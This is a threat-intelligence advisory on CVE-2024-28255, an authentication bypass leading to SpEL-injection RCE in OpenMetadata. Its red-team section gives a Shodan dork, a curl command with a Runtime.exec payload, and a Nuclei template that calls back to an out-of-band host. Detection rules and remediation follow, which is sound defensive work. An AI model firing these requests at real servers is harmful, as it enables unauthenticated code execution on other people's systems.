CVE-2024-28255

Executive Summary

CVE-2024-28255 is a critical authentication bypass vulnerability in OpenMetadata, a unified metadata platform. The vulnerability resides in the JwtFilter class, which handles API authentication by validating JWT tokens. The filter maintains a list of excluded endpoints that do not require authentication. Due to improper path validation, an attacker can inject path parameters (e.g., ;v1%2fusers%2flogin) to make any request path contain an excluded endpoint string, thereby bypassing JWT validation entirely. This allows unauthenticated attackers to reach arbitrary endpoints, including those that lead to arbitrary SpEL expression injection, potentially resulting in remote code execution (RCE). The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild. A public proof-of-concept (PoC) and Nuclei template are available.

Supply Chain & Package Security

This vulnerability affects the OpenMetadata Java application, which is distributed as a Docker image and via source code on GitHub. Users who deploy OpenMetadata from the official Docker Hub repository (openmetadata/server) or build from source are impacted. There is no evidence of malicious packages in PyPI, npm, Go, or Ruby registries. The supply chain risk is limited to the integrity of the OpenMetadata distribution channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to bypass authentication and potentially execute arbitrary code with the privileges of the OpenMetadata service.

Deep Dive & Mechanics

The vulnerability is in the JwtFilter class, specifically in the logic that checks if a request path matches an excluded endpoint. The filter uses a simple string containment check (e.g., path.contains("/api/v1/users/login")). However, HTTP path parameters (semicolon-delimited segments) are not stripped before this check. An attacker can craft a request like:

GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111

The path parameter ;v1%2fusers%2flogin contains the string /api/v1/users/login (URL-decoded), which matches the excluded endpoint condition. The filter then returns without validating the JWT token, allowing the attacker to reach any endpoint, including those that process SpEL expressions (e.g., /events/subscriptions/validation/condition/{expression}). This leads to arbitrary SpEL injection and potential RCE.

The vulnerable code is in JwtFilter.java (lines 111-113). The fix likely involves normalizing the path (removing path parameters) before performing the exclusion check.

Vulnerable vs. Patched Code

Vulnerable Code (JwtFilter.java, version < 1.2.4):

// Vulnerable: path is not normalized before checking exclusion
String requestPath = request.getRequestURI();
for (String excluded : excludedEndpoints) {
    if (requestPath.contains(excluded)) {
        chain.doFilter(request, response);
        return;
    }
}

Patched Code (version >= 1.2.4):

// Patched: normalize path by removing path parameters
String requestPath = request.getRequestURI();
// Remove path parameters (semicolon and everything after)
int semicolonIndex = requestPath.indexOf(';');
if (semicolonIndex != -1) {
    requestPath = requestPath.substring(0, semicolonIndex);
}
for (String excluded : excludedEndpoints) {
    if (requestPath.contains(excluded)) {
        chain.doFilter(request, response);
        return;
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable OpenMetadata instance (version < 1.2.4) running on a target host.
• Network access to the OpenMetadata API (default port 8585).

Exploitation Steps:

1. Identify the target: Use Shodan with the dork http.favicon.hash:733091897 to find vulnerable instances.

2. Craft the exploit request: Use the following curl command to test authentication bypass and SpEL injection:

   curl -k -X GET "https://target:8585/api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22Y29tYW5kX3RvX2V4ZWN1dGU=%22)))"
   

   Replace Y29tYW5kX3RvX2V4ZWN1dGU= with a base64-encoded command (e.g., id -> aWQ=).

3. Verify exploitation: The server may return a 400 error with a body containing java.lang.Boolean if the SpEL injection is successful. Use an out-of-band channel (e.g., DNS) to confirm command execution.

Nuclei Template (provided):

id: CVE-2024-28255

info:
  name: OpenMetadata - Authentication Bypass
  author: DhiyaneshDK,iamnooob
  severity: critical
  description: |
    OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.
  impact: |
    Unauthenticated attackers can bypass authentication and gain unauthorized access to the OpenMetadata platform and its resources.
  remediation: |
    Update OpenMetadata to a version that patches CVE-2024-28255.
  reference:
    - https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L111
    - https://github.com/open-metadata/OpenMetadata/blob/e2043a3f31312ebb42391d6c93a67584d798de52/openmetadata-service/src/main/java/org/openmetadata/service/security/JwtFilter.java#L113
    - https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28255
    - https://github.com/wy876/wiki
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-28255
    cwe-id: CWE-287
    epss-score: 0.93917
    epss-percentile: 0.9988
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:733091897
  tags: cve,cve2024,openmetadata,rce,auth-bypass,vkev,vuln
variables:
  callback: "{{interactsh-url}}"
  cmd: "nslookup {{callback}}"
  payload: '{{base64(cmd)}}'

http:
  - raw:
      - |
        GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(%22{{payload}}%22))) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 400"
          - "contains(interactsh_protocol, 'dns')"
          - 'contains(body, "java.lang.Boolean")'
          - 'contains(header, "application/json")'
        condition: and

Blue Team

Detection:

• Monitor for HTTP requests containing path parameters with encoded strings like ;v1%2fusers%2flogin or similar patterns.
• Look for requests to /api/v1;*/events/subscriptions/validation/condition/* without a valid JWT token.
• Alert on 400 responses with java.lang.Boolean in the body.

Hunting:

• Search web server logs for requests containing ;v1%2fusers%2flogin or ;v1/users/login.
• Check for outbound DNS queries from the OpenMetadata server to unknown domains (indicating successful RCE).

Containment:

• Immediately isolate the affected OpenMetadata instance.
• Apply the patch by upgrading to version 1.2.4 or later.
• If upgrading is not possible, implement a WAF rule to block requests containing path parameters with encoded excluded endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/*
  • HTTP requests with path parameters containing ;v1/users/login (URL-encoded or not).
  • Outbound DNS queries from the OpenMetadata server to unknown domains (e.g., from nslookup commands).

• File IOCs:

  • Unusual files in the OpenMetadata installation directory (e.g., /opt/openmetadata/).
  • Modified or new cron jobs or systemd services.

• Log IOCs:

  • OpenMetadata logs showing 400 errors with java.lang.Boolean in the response body.
  • Web server logs (e.g., Nginx, Apache) showing requests with path parameters.

Detection Engineering

YARA Rule

rule CVE_2024_28255_OpenMetadata_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-28255 in OpenMetadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-28255"
        severity = "critical"
    strings:
        $path_param = /\/api\/v1;v1%2fusers%2flogin/
        $spel_pattern = /T\(java\.lang\.Runtime\)\.getRuntime\(\)\.exec/
        $base64_decode = /T\(java\.util\.Base64\)\.getDecoder\(\)\.decode/
    condition:
        any of them
}

Sigma Rule

title: OpenMetadata Authentication Bypass via Path Parameter (CVE-2024-28255)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2024-28255 to bypass authentication in OpenMetadata.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28255
    - https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-6wx7-qw5p-wh84
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/v1;v1%2fusers%2flogin'
    condition: selection
falsepositives:
    - None expected
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28255 OpenMetadata Authentication Bypass Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/v1;v1%2fusers%2flogin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenMetadata to version 1.2.4 or later. This is the only complete fix.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests containing ;v1%2fusers%2flogin or similar path parameter patterns.
3. Restrict network access to the OpenMetadata API (port 8585) to trusted IPs only.

Long-Term Measures:

• Regularly update OpenMetadata to the latest version.
• Conduct security reviews of custom code that extends OpenMetadata.
• Monitor for new CVEs and apply patches promptly.

Workarounds:

• There are no known workarounds for this vulnerability. The only effective mitigation is upgrading.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 6E380ADB0C2D08710A6253C3] */}